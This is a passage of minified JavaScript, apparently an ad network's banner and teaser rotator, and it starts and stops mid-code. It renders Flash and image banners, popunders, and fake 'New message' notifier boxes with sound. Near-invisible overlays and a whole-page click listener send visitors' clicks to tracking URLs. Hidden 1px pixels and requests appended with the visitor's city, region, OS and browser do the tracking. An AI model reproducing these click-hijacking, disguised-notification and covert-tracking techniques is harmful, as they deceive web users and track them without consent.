g.Va() + g.Ua(c), a)     }, Ba: function (a) {         g.X(a).style.cssText = "width:1px;height:1px;position:absolute;left:-10000px;"     },         Wa: function (a) {             var b = "";             this.a.foreignUid && (b = "\x26foreignUid\x3d" + this.a.foreignUid);             return-1 == a.indexOf("\x26udata\x3d") && r.globalInfo.udata && (a = r.globalInfo.udata) ? (a = g.parseJSON(g.L(a)), this.Ba(a.matchingUrl), b + "\x26udata\x3d" + a.uid) : b         }};     var t = "undefined", M = "object", na = "application/x-shockwave-flash", gb = "SWFObjectExprInst", G = r, u = k, S = navigator, vb = T, qa = [function () {             if (vb) {                 var a = u.getElementsByTagName("body")[0], b = u.createElement(M);                 b.setAttribute("type", na);                 var c = a.appendChild(b);                 if (c) {                     var d = 0;                     (function () {                         if (typeof c.GetVariable !=                             t) {                             var e = c.GetVariable("$version");                             e && (e = e.split(" ")[1].split(","), n.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])                         } else if (10 > d) {                             d++;                             setTimeout(arguments.callee, 10);                             return                         }                         a.removeChild(b);                         c = z;                         Ka()                     })()                 } else Ka()             } else Ka()         }], P = [], ma = [], Y = [], ea, pa, Ha, fb, V = T, oa = T, L, Da, cb = y, n, Qb = typeof u.getElementById != t && typeof u.getElementsByTagName != t && typeof u.createElement != t, Ba = S.userAgent.toLowerCase(), Ca = S.platform.toLowerCase(), Rb = Ca ? /win/.test(Ca) : /win/.test(Ba), Sb = Ca ? /mac/.test(Ca) : /mac/.test(Ba),         Tb = /webkit/.test(Ba) ? parseFloat(Ba.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : T, ab = !+"\v1", ia = [0, 0, 0], D = z;     if (typeof S.plugins != t && typeof S.plugins["Shockwave Flash"] == M) {         if ((D = S.plugins["Shockwave Flash"].description) && !(typeof S.mimeTypes != t && S.mimeTypes[na] && !S.mimeTypes[na].enabledPlugin))vb = y, ab = T, D = D.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ia[0] = parseInt(D.replace(/^(.*)\..*$/, "$1"), 10), ia[1] = parseInt(D.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ia[2] = /[a-zA-Z]/.test(D) ? parseInt(D.replace(/^.*[a-zA-Z]+(.*)$/,             "$1"), 10) : 0     } else if (typeof G.ActiveXObject != t)try {         var wb = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");         if (wb && (D = wb.GetVariable("$version")))ab = y, D = D.split(" ")[1].split(","), ia = [parseInt(D[0], 10), parseInt(D[1], 10), parseInt(D[2], 10)]     } catch (Vb) {     }     n = {j: Qb, n: ia, i: Tb, c: ab, e: Rb, R: Sb};     n.j && ((typeof u.readyState != t && "complete" == u.readyState || typeof u.readyState == t && (u.getElementsByTagName("body")[0] || u.body)) && Z(), V || (typeof u.addEventListener != t && u.addEventListener("DOMContentLoaded", Z, T), n.c && n.e &&         (u.attachEvent("onreadystatechange", function () {             "complete" == u.readyState && (u.detachEvent("onreadystatechange", arguments.callee), Z())         }), G == top && function () {             if (!V) {                 try {                     u.La.doScroll("left")                 } catch (a) {                     setTimeout(arguments.callee, 0);                     return                 }                 Z()             }         }()), n.i && function () {         V || (/loaded|complete/.test(u.readyState) ? Z() : setTimeout(arguments.callee, 0))     }(), hb(Z)));     n.c && n.e && r.attachEvent("onunload", function () {         for (var a = Y.length, b = 0; b < a; b++)Y[b][0].detachEvent(Y[b][1], Y[b][2]);         a = ma.length;         for (b = 0; b < a; b++)eb(ma[b]);         for (var c in n)n[c] =             z;         n = z;         for (var d in g.w)g.w[d] = z;         g.w = z     });     I.prototype = {ea: {h: "", link: "aHR0cDovL3dpemFyZC10cmFmZnN0b2NrLmNvbS8/dXRtX3NvdXJjZT1vdXJiYW5uZXImdXRtX21lZGl1bT1iYW5uZXImdXRtX2NhbXBhaWduPWJhbm5lcl9yZWc\x3d"}, Ia: 3E3, ia: "", wa: "", xa: "", ib: "", Da: "", U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", W: "", ca: "", Z: T, Ca: 2, ja: 0, ka: 0, V: [], f: {}, b: function (a, b, c, d) {         a.addEventListener ? a.addEventListener(b, c, d) : a.attachEvent("on" + b, c)     }, K: function (a) {         a = a || event;         a.cancelBubble = y;         a.stopPropagation && a.stopPropagation()     },         ba: function (a, b, c, d) {             var e = this;             if (a.isDefaultClose || !this.Z && a.stubSrc) {                 d = d || -12;                 c = c || b;                 var f = k.createElement("span");                 f.style.cssText = this.ia.replace("${offsetTop}", d);                 f.onclick = function (b) {                     e.K(b);                     e.close(a, c)                 };                 if (a.isDefaultClick || !this.Z && a.stubSrc)d = k.createElement("a"), d.style.cssText = this.Da, d.target = "_blank", d.href = a.trackingDomain + g.g(a.clickUri + e.G()), d.onclick = function (b) {                     e.K(b);                     this.href = a.trackingDomain + g.g(a.clickUri + e.G());                     e.na(c)                 }, b.appendChild(d);                 setTimeout(function () {                         b.appendChild(f)                     },                     this.Ia)             } else r.hide = function () {                 e.close(a, e.f)             }         }, H: function (a, b, c, d) {             c = c || "bottom";             d = d || "right";             b.showLogo && (b = k.createElement("a"), b.href = g.L(this.ea.link), b.target = "_blank", b.style.cssText = "z-index:99;position:absolute;" + c + ":-15px;width:100%;height:15px;left:0;right:0; background:#fff url(" + this.ea.h + ") no-repeat " + d + " top;", a.appendChild(b))         }, J: function (a, b) {             g.X(b.impDomain + g.g(b.trackShowUri)).style.cssText = this.U         }, G: function () {             return this.ja > this.Ca || 0 < this.ka || x.a.isMobile ? "" : "\x26rej\x3d1"         },         w: {eb: function (a, b, c, d) {             if (n.j && a && b) {                 var e = {};                 e.id = a;                 e.qa = b;                 e.O = c;                 e.fa = d;                 P[P.length] = e;                 U(a, T)             } else d && d({success: T, id: a})         }, Sa: function (a) {             if (n.j)return Ja(a)         }, N: function (a, b, c, d, e, f, g, h, j, k) {             var A = {success: T, id: b};             n.j && !(n.i && 312 > n.i) && a && b && c && d && e ? (U(b, T), ib(function () {                 c += "";                 d += "";                 var q = {};                 if (j && typeof j === M)for (var B in j)q[B] = j[B];                 q.data = a;                 q.width = c;                 q.height = d;                 B = {};                 if (h && typeof h === M)for (var r in h)B[r] = h[r];                 if (g && typeof g === M)for (var F in g)B.s = typeof B.s != t ? B.s + ("\x26" + F + "\x3d" + g[F]) : F + "\x3d" +                     g[F];                 if (la(e))r = Ea(q, B, b), q.id == b && U(b, y), A.success = y, A.S = r; else {                     if (f && Ia()) {                         q.data = f;                         Ga(q, B, b, k);                         return                     }                     U(b, y)                 }                 k && k(A)             })) : k && k(A)         }, kb: function () {             cb = T         }, W: n, Ra: function () {             return{$a: n.n[0], bb: n.n[1], fb: n.n[2]}         }, va: la, Ka: function (a, b, c) {             if (n.j)return Ea(a, b, c)         }, hb: function (a, b, c, d) {             n.j && Ia() && Ga(a, b, c, d)         }, gb: function (a) {             n.j && eb(a)         }, Ja: function (a, b, c, d) {             n.j && db(a, b, c, d)         }, Fa: ib, Ha: hb, Ta: function (a) {             var b = u.location.search || u.location.hash;             if (b) {                 /\?/.test(b) && (b = b.split("?")[1]);                 if (a == z)return bb(b);                 for (var b =                     b.split("\x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("\x3d")) == a)return bb(b[c].substring(b[c].indexOf("\x3d") + 1))             }             return""         }, Pa: function () {             if (oa) {                 var a = J(gb);                 a && ea && (a.parentNode.replaceChild(ea, a), pa && (U(pa, y), n.c && n.e && (ea.style.display = "block")), Ha && Ha(fb));                 oa = T             }         }}, N: function (a, b, c, d, e, f) {             this.w.N(this.ab(a, b, c), d, e, f, "10.0.0", "", T, this.V, T)         }, ab: function (a, b, c) {             return x.a.imgDomain + a + "?closeid\x3d" + b + "\x26link1\x3d" + c + this.Aa()         }, Aa: function () {             return"\x26keywords\x3d" + encodeURIComponent(x.a.keywords) +                 "\x26browsername\x3d" + encodeURIComponent(x.a.uaFamilyName) + "\x26browserversion\x3d" + x.a.uaVersion + "\x26os\x3d" + encodeURIComponent(x.a.osName) + "\x26countryid\x3d" + x.a.countryId + "\x26district\x3d" + encodeURIComponent(x.a.district) + "\x26region\x3d" + encodeURIComponent(x.a.region) + "\x26city\x3d" + encodeURIComponent(x.a.city)         }, B: function (a) {             return a.replace("{keywords}", x.r.keywords || "").replace("{browsername}", x.r.uaFamilyName || "").replace("{browserversion}", x.r.uaVersion || "").replace("{os}", x.r.osName ||                 "").replace("{countryid}", x.r.countryId || "").replace("{district}", x.r.district || "").replace("{region}", x.r.region || "").replace("{city}", x.r.city || "")         }, Ma: function (a, b, c, d, e) {             a = g.Ga(a + (-1 == a.indexOf("?") ? "?" : "\x26") + "clickUrl\x3d" + b + this.Aa(), c);             a.style.cssText = "width:" + d + "px;height:" + e + "px;border:none;";             a.scrolling = "no"         }, ya: function (a) {             var b = a.clickUri.replace("clk", "cl");             a = (a.trackingDomain || a.teasers[0].trackingDomain) + g.g(b);             g.X(a).style.cssText = this.U         }, close: function (a, b) {             this.ya(a);             this.na(b)         },         na: function (a) {             a && k.body.removeChild(a)         }, t: function (a) {             var b = this;             this.b(k, "mousemove", function () {                 b.ja++             }, T);             this.b(k, "scroll", function () {                 b.ka++             }, T);             this.ea.h = x.a.scriptsDomain + "img/adv.png";             this.Z = this.w.va("1");             g.log(a);             this.W = navigator.userAgent.toLowerCase();             this.ca = -1 < this.W.indexOf("opera");             this.za = !this.ca && -1 < this.W.indexOf("msie");             this.wa = x.a.scriptsDomain + "img/close.png";             this.xa = x.a.scriptsDomain + "img/close_ie.gif";             this.ia = "z-index:101;position:absolute;top:${offsetTop}px;right:-12px;background:url(" +                 this.wa + ") no-repeat 50%;width:30px;height:30px;cursor:pointer;* background:url(" + this.xa + ");";             this.ib = x.a.scriptsDomain + "img/blank.gif";             this.Da = "background:white;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d1);-moz-opacity:0.01;-khtml-opacity:0.01;opacity:0.01;cursor:pointer;left:0px;top:0px;right:0px;bottom:0px;width:100%;height:100%;position:absolute;";             this.V.allowScriptAccess = "always";             this.V.quality = "high";             this.V.wmode = "transparent"         }, p: function () {             g.log("Method not implemented")         },         M: function (a, b) {             var c = k.createElement("div");             a.appendChild(c);             c.style.width = b.width + "px";             c.style.height = b.height + "px";             !this.Z && b.stubSrc && (c.style.background = "url(" + x.a.imgDomain + b.stubSrc + ") no-repeat 50% 50%");             if (b.iframeUrl)this.Ma(b.iframeUrl, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)), c, b.width, b.height); else if (g.Oa(b.src, ".swf")) {                 var d = k.createElement("div");                 d.id = "swf" + (new String(Math.random())).slice(2);                 c.appendChild(d);                 this.N(b.src, d.id, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)),                     d.id, b.width, b.height)             } else c.style.background = "url(" + x.a.imgDomain + b.src + ") no-repeat 50% 50%"         }};     E(xa, I);     xa.prototype.p = function (a) {         var b = this;         b.t(a);         var c = g.z("div");         b.f = c;         b.M(c, a);         b.H(c, a, "bottom", "right");         b.J(c, a);         var d = b.$(a.width, a.height), e = "z-index:9999;position:fixed;top:50%;left:50%;margin-top:-" + a.height / 2 + "px;margin-left:-" + a.width / 2 + "px;width: " + a.width + "px;height: " + a.height + "px;";         g.v() || (e = e.replace("fixed", "absolute"), b.b(r, "scroll", function () {             c.style.top = g.q() + d.top + "px"         }), b.b(r,             "resize", function () {                 var d = b.$(a.width, a.height);                 c.style.top = g.q() + d.top + "px"             }));         c.style.cssText = e;         this.ba(a, c, c)     };     xa.prototype.$ = function (a, b) {         return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}     };     E(Ta, I);     Ta.prototype.p = function (a) {         function b() {             var b = setInterval(function () {                 f < parseInt(a.height, 10) + d ? (f += 10, w.style.top = f + "px") : (clearInterval(b), setTimeout(c, 1E3))             }, 10)         }          function c() {             var a = setInterval(function () {                 0 < f ? (f -= 10, w.style.top = f + "px") : (clearInterval(a), setTimeout(b, e))             }, 20)         }          var d = a.showLogo ? 24 : 18, e = 15E3,             f = a.height, p = 0, h = 6 == a.bannerPosition ? "left" : "right";         this.t(a);         var j = g.z("div");         this.f = j;         var w = k.createElement("div");         j.appendChild(w);         this.M(w, a);         this.H(w, a, "top", "left");         this.J(w, a);         h = "z-index:9999;padding:" + d + "px 9px 0 0;overflow:hidden;position:fixed;bottom:0;" + h + ": 0px;width: " + a.width + "px;height: " + a.height + "px;";         g.v() || (h = h.replace("fixed", "absolute"), h += "bottom:auto;top:" + (g.k() - a.height - d) + "px;", this.b(r, "scroll", function () {             j.style.top = g.q() + g.k() - a.height + "px"         }), this.b(r, "resize", function () {             j.style.top =                 g.q() + g.k() - a.height - d + "px"         }));         j.style.cssText = h;         w.style.cssText = "position:relative;top: " + a.height + "px;";         this.ba(a, w, j, a.showLogo ? -20 : -12);         a.animate ? setTimeout(function () {             var b = setInterval(function () {                 Math.abs(parseInt(banner.style.top, 10)) > a.height ? w.style.top = (p += 20) + "px" : clearInterval(b)             }, 20)         }, 1E3) : c()     };     E(Ua, I);     Ua.prototype.p = function (a) {         this.t(a);         var b = g.z("div");         this.f = b;         this.M(b, a);         this.H(b, a, "bottom", "right");         this.J(b, a);         var c = "z-index:9999;position:fixed;top:0px;left: 50%;width: " + a.width +             "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";         g.v() || (c = c.replace("fixed", "absolute"), this.b(r, "scroll", function () {             b.style.top = g.q() + "px"         }));         b.style.cssText = c;         this.ba(a, b, b, 3)     };     E(Va, I);     Va.prototype.p = function (a) {         this.t(a);         var b = g.z("div");         this.f = b;         this.M(b, a);         this.H(b, a, "top", "left");         this.J(b, a);         var c = "z-index:9999;position:fixed;left: 50%;bottom:0; width: " + a.width + "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";         g.v() ? this.b(r, "resize", function () {             b.style.top = g.k() - a.height + "px"         }) :             (c = c.replace("fixed", "absolute"), c += "bottom:auto;top:" + (g.k() - a.height) + "px;", this.b(r, "scroll", function () {                 b.style.top = g.q() + g.k() - a.height + "px"             }), this.b(r, "resize", function () {                 b.style.top = g.q() + g.k() - a.height + "px"             }));         b.style.cssText = c;         this.ba(a, b, b, a.showLogo ? -20 : -12)     };     E(ca, I);     ca.prototype.p = function (a) {         function b() {             if (!c && (j.ja > j.Ca || 0 < j.ka) && 1E3 <= (new Date).getTime() - d) {                 c = y;                 var b = function (a) {                     l = setInterval(function () {                         if (h[a] && p[a] < f * F)p[a] += 5, h[a].style.top = p[a] + "px"; else {                             clearInterval(l);                             var c =                                 a + 1;                             if (c < h.length)setTimeout(function () {                                 b(c)                             }, h[a] ? 4E3 : 0); else {                                 for (var d = 0; d < h.length; d++)h[d] && (h[d].style.top = f * h.length + 10);                                 setTimeout(function () {                                     j.ha(c, h[0] && "true" == h[0]);                                     e(0)                                 }, h[a] ? 1E4 : 0)                             }                         }                     }, 10)                 }, e = function (a) {                     l = setInterval(function () {                         if (h[a] && p[a] > f * (F - 1))for (var c = a; 0 <= c; c--)h[c] && (p[c] -= 5, h[c].style.top = p[c] + "px"); else {                             clearInterval(l);                             var d = a + 1;                             d < h.length ? setTimeout(function () {                                 j.ha(d, h[d] && "true" == h[d]);                                 e(d)                             }, h[a] ? 4E3 : 0) : setTimeout(function () {                                 b(0)                             }, h[a] ? 8E3 : 0)                         }                     }, 20)                 }, F = 0, n = function () {                     for (var a =                         F = 0; a < h.length; a++)h[a] != z && F++                 }, m = function (b, c, d) {                     j.f.removeChild(h[c]);                     j.K(b);                     h[c] = z;                     n();                     d && j.ya(a);                     b = T;                     for (d = c; d < h.length; d++)h[d] && (!b && p[d] >= f * h.length) && (b = y, p[d] = p[c], h[d].style.top = p[d] + "px");                     if (!b) {                         var e = f;                         j.f.style.overflow = "visible";                         var k = setInterval(function () {                             if (0 < e) {                                 e -= 5;                                 for (var a = c; 0 <= a; a--)h[a] && (p[a] += 5, h[a].style.top = p[a] + "px")                             } else j.f.style.overflow = "hidden", clearInterval(k)                         }, 10)                     }                     j.f.style.height = f * F + "px";                     g.v() || (j.f.style.top = g.q() + g.k() - f * F + "px");                     for (d = 0; d < h.length; d++)h[d] &&                     (p[d] -= f, h[d].style.top = p[d] + "px")                 };                 j.f = g.z("div");                 var u = a.trackingDomain + g.g(a.clickUri.replace("/?", "")), l;                 j.J(j.f, a);                 for (var x = 0; x < w.length; x++) {                     p.push(f * w.length);                     var t = k.createElement("div");                     t.id = "vid-" + x;                     t.className = "vmcontainer";                     var v = k.createElement("div");                     t.setAttribute("mute", a.mute);                     t.onmouseover = function () {                         this.className += " hover"                     };                     t.onmouseout = function () {                         this.className = this.className.replace(" hover", "")                     };                     var ja = k.createElement("div");                     ja.style.cssText = "position:relative;";                     ja.innerHTML =                         "\x3cspan\x3e" + w[x].header + "\x3c/span\x3e";                     var ka = k.createElement("a");                     ka.id = "vclose-" + x;                     var C = k.createElement("a");                     ka.className = "vclose";                     ja.appendChild(ka);                     ka.appendChild(C);                     v.appendChild(ja);                     C = k.createElement("div");                     C.style.cssText = "float:left;margin:0 10px 0 10px;border-radius:3px;overflow:hidden;box-shadow:0 1px 2px rgb(17, 17, 17);";                     v.appendChild(C);                     g.pa() || (v.style.cssText = "padding:5px 15px;");                     var D = k.createElement("div"), E = k.createElement("style"), G = k.getElementsByTagName("head")[0];                     E.type =                         "text/css";                     E.styleSheet ? E.styleSheet.cssText = A : E.appendChild(k.createTextNode(A));                     G.appendChild(E);                     D.innerHTML = '\x3cspan class\x3d"text-link"\x3e\x3ca href\x3d"#" \x3e' + w[x].title + "\x3c/a\x3e\x3c/span\x3e" + w[x].description;                     v.appendChild(D);                     j.M(C, a);                     j.f.appendChild(t);                     t.appendChild(v);                     h.push(t);                     ka.onclick = function (a) {                         var b = parseInt(this.id.replace("vclose-", ""));                         m(a, b, y)                     };                     t.onclick = function (a) {                         j.K(a);                         var b = parseInt(this.id.replace("vid-", ""));                         m(a, b, T);                         r.open(u)                     };                     ja.style.cssText = "position:relative;font-size:13px;height:19px;line-height:19px;color:white;padding:10px 10px 3px;font-weight:bold;";                     t.style.cssText = q                 }                 n();                 x = "z-index:9999;overflow:hidden;font-family: tahoma,arial,verdana,sans-serif,Lucida Sans;font-size: 11px;z-index:9999; position:fixed;bottom:0;left: 10px;width:345px;height:" + f * h.length + "px;";                 g.v() || (x = x.replace("fixed", "absolute"), x += "bottom:auto;top:" + (g.k() - f * h.length) + "px;", j.b(r, "scroll", function () {                     j.f.style.top = g.q() + g.k() - F * f + "px"                 }), j.b(r, "resize", function () {                     j.f.style.top = g.q() + g.k() - F * f + "px"                 }));                 j.f.style.cssText = x;                 g.v() || (j.f.style.top = g.q() + g.k() - F * f + "px");                 setTimeout(function () {                     0 <                         h.length && (j.ha(0, h[0] && "true" == h[0]), e(0))                 }, 3E3)             }         }          var c = T, d = (new Date).getTime(), e = "vm" + (new Date).getTime(), f = g.pa() ? 105 : 125, p = [], h = [], j = this, w = j.Qa(a, e);         j.t(a);         var A = '.vclose {width: 23px; height: 23px; display: block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0);-moz-opacity: 0;-khtml-opacity:0;opacity:0;position:absolute; right:10px; top:10px; background: url("' + x.a.scriptsDomain + 'img/notifier_close_ie.png") no-repeat scroll 0 0;} .vclose a {display:none; width:7px; height:7px;margin:8px; background:url(' +                 x.a.scriptsDomain + "/img/notifier_close.gif)}.vclose:hover a{display:block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;}.vmcontainer:hover .vclose:hover{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d100);-moz-opacity:1;-khtml-opacity:1;opacity:1;}.vmcontainer:hover .vclose, .vmcontainer.hover .vclose{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;} .text-link {padding-right:10px;} .text-link a {color:rgb(177, 218, 255);font-weight:bold;text-decoration:none;}.text-link a:hover {text-decoration:underline;}",             e = 'height:130px;width:350px; background: url("' + x.a.scriptsDomain + 'img/notifier_back.png") center center no-repeat; ', q = "left:0;color:white;margin:0 0 10px 0;" + (g.pa() ? "height:95px;width:320px;border-radius: 5px 5px 5px 5px;box-shadow: 0pt 2px 15px rgb(0, 0, 0);text-shadow: 0px 1px 0px rgb(38, 38, 38);background:rgba(0,0,0,0.75);" : e) + "position:absolute;top: " + (f * w.length + 10) + "px;";         this.b(k, "mousemove", function () {             b()         }, T);         this.b(k, "scroll", function () {             b()         }, T)     };     ca.prototype.T = z;     ca.prototype.Qa = function (a, b) {         var c = [], d = a.title.split("{splitter}"), e = a.description.split("{splitter}");         a.windowHeader || (a.windowHeader = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");         for (var f = a.windowHeader.split("{splitter}"), k = Math.max(f.length, Math.max(d.length, e.length)), h = 0; h < k; h++) {             var j = {};             j.title = this.B(h < d.length ? d[h] : d[0]);             j.description = this.B(h < e.length ? e[h] : e[0]);             j.header = this.B(h < f.length ? f[h] : f[0]);             "" == j.header && (j.header = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");             j.wrapperId = b;             j.id = b + h + 1;             j.index = h;             c.push(j)         }         g.log(c);         return c     };     ca.prototype.ha = function (a, b) {         if (b == T)if (g.Q()) {             var c = k.createElement("bgsound");             c.src = x.a.scriptsDomain + "img/bb2.mp3";             c.loop = "1";             k.body.appendChild(c)         } else this.T && (c = k.getElementById(this.T)) && this.f && this.f.removeChild(c), c = k.createElement("div"), this.T = "vkmsound" + a, c.id = this.T, this.f.appendChild(c), g.w.N(x.a.scriptsDomain + "img/mp3player.swf?file\x3d" + x.a.scriptsDomain + "img/bb2.mp3\x26startplay\x3dtrue", this.T, "1", "1", "10.0.0", z, z,             this.V)     };     E(Wa, I);     Wa.prototype.p = function (a) {         this.t(a);         var b = {limit: a.limit, period: a.period, limitName: "__trflimit", periodName: "__trfmon"}, c = T;         if (g.ga(b)) {             var d = this, e = navigator.userAgent.toLowerCase();             this.b(k, -1 < e.indexOf("iphone") || -1 < e.indexOf("ipad") ? "touchstart" : "click", function () {                 g.ga(b) && !c && (c = y, g.log(a.trackingDomain + g.g(a.clickUri + d.G())), g.ma.call(d, a.trackingDomain + g.g(a.clickUri + d.G()), y, "_blank", ""), g.Ea(b))             });             this.J(k.body, a)         }     };     E(ya, I);     ya.prototype.p = function (a) {         var b = {limit: a.limit,             period: a.period, limitName: "__trfpoplimit", periodName: "__trfmonpop"};         this.t(a);         if (g.ga(b)) {             var c = g.z("div"), d = k.createElement("div");             c.appendChild(d);             this.M(d, a);             var e = this;             e.f = c;             d.onclick = function (d) {                 g.ma(a.trackingDomain + g.g(a.clickUri + e.G()), y, "_blank", "");                 g.Ea(b);                 e.K(d);                 e.na(c)             };             this.H(c, a, "bottom", "right");             this.J(c, a);             var f = this.$(a.width, a.height), d = "z-index:9999;cursor:pointer;position:fixed;top: " + f.top + "px;left: " + f.left + "px;width: " + a.width + "px;height: " + a.height + "px;";             g.v() || (d = d.replace("fixed",                 "absolute"), this.b(r, "scroll", function () {                 c.style.top = g.q() + f.top + "px"             }));             c.style.cssText = d;             d = k.createElement("span");             d.style.cssText = this.ia.replace("${offsetTop}", "-20");             e = this;             d.onclick = function (b) {                 e.K(b);                 g.ma.call(e, a.trackingDomain + g.g(a.closeUri), y, "_blank", "");                 e.close(a, c)             };             c.appendChild(d)         }     };     ya.prototype.$ = function (a, b) {         return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}     };     E(Xa, I);     Xa.prototype.p = function (a) {         this.t(a);         confirm(a.bannerText) && (r.location = a.trackingDomain + g.g(a.clickUri))     };     E(Ya, I);     Ya.prototype.p =         function (a) {             r.globalInfo.mredRendered || (r.globalInfo.mredRendered = y, g.log("Rendering m redir"), g.da(a.trackingDomain, a.clickUri))         };     E(da, I);     da.prototype.r = "";     da.prototype.p = function (a) {         function b(a, b) {             a.style.cssText = j.I[b];             d.b(a, "mouseover", function () {                 a.style.cssText = j.P[b];                 "text" == b && j.o([a])             }, T);             d.b(a, "mouseout", function () {                 a.style.cssText = j.I[b];                 j.o([a])             }, T)         }          function c(a, b) {             d.b(a, "mouseover", function () {                 b.style.cssText = j.P.sPText;                 "TD" == a.tagName && j.o([b])             }, y);             d.b(a, "mouseout", function () {                 b.style.cssText =                     j.I.sPText;                 j.o([b])             }, y)         }          this.t(a);         var d = this, e = k.createElement("table"), f = k.createElement("tbody"), p = k.createDocumentFragment(), h = k.createElement("img"), j = this, w = s, A;         if (!w) {             w = {};             w.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10);             var q = w.size + parseInt(a.imgMarginSize, 10);             switch (a.orientation) {                 case "over":                     w.margin = "0";                     w.C = "0 0 " + a.imgMarginSize + "px";                     w.m = "none";                     w.l = "center";                     w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};                     break;                 case "left":                     w.margin =                         "0 0 0 " + q + "px";                     w.C = "0 -" + q + "px 0 0";                     w.m = "left";                     w.l = "left";                     w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};                     break;                 case "right":                     w.margin = "0 " + q + "px 0 0", w.C = "0 0 0 -" + q + "px", w.m = "right", w.l = "left", w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}             }         }         A = w;         var B = g.Q() ? "display:inline;zoom:1;" : "display:inline-block;", q = k.getElementById("wzblock" + a.blockId), n = parseInt(a.textSize, 10), m = n + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), l =             n + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));         this.d = parseInt(a.textDivHeight, 10);         j.I = {table: "table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l +             ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:1;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" + A.m + ";", h: "z-index:1;position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" +             ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";"};         j.P = {table: "table-layout:fixed;background:" + a.backgroundOnmouseover +             ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l + ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:5;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" +             A.m + ";", h: "z-index:10;cursor:pointer;position:absolute;top:" + w.A.top + "px;left:" + w.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ? "700" : "100") + ";font-size:" +             m + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + l + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor + ";"};         this.ta = function () {             0 ==                 this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)         };         if (!q) {             q = k.getElementsByTagName("script");             A = RegExp("bid\x3d(" + a.blockId + ")(\\D|.{0}$)");             w = 0;             for (B = q.length; w < B; w += 1)if (-1 != q[w].src.indexOf(x.a.rotatorDomain) && A.test(g.L(q[w].src)) || -1 != q[w].text.indexOf(x.a.rotatorDomain) && -1 != q[w].text.indexOf(x.a.trsKey)) {                 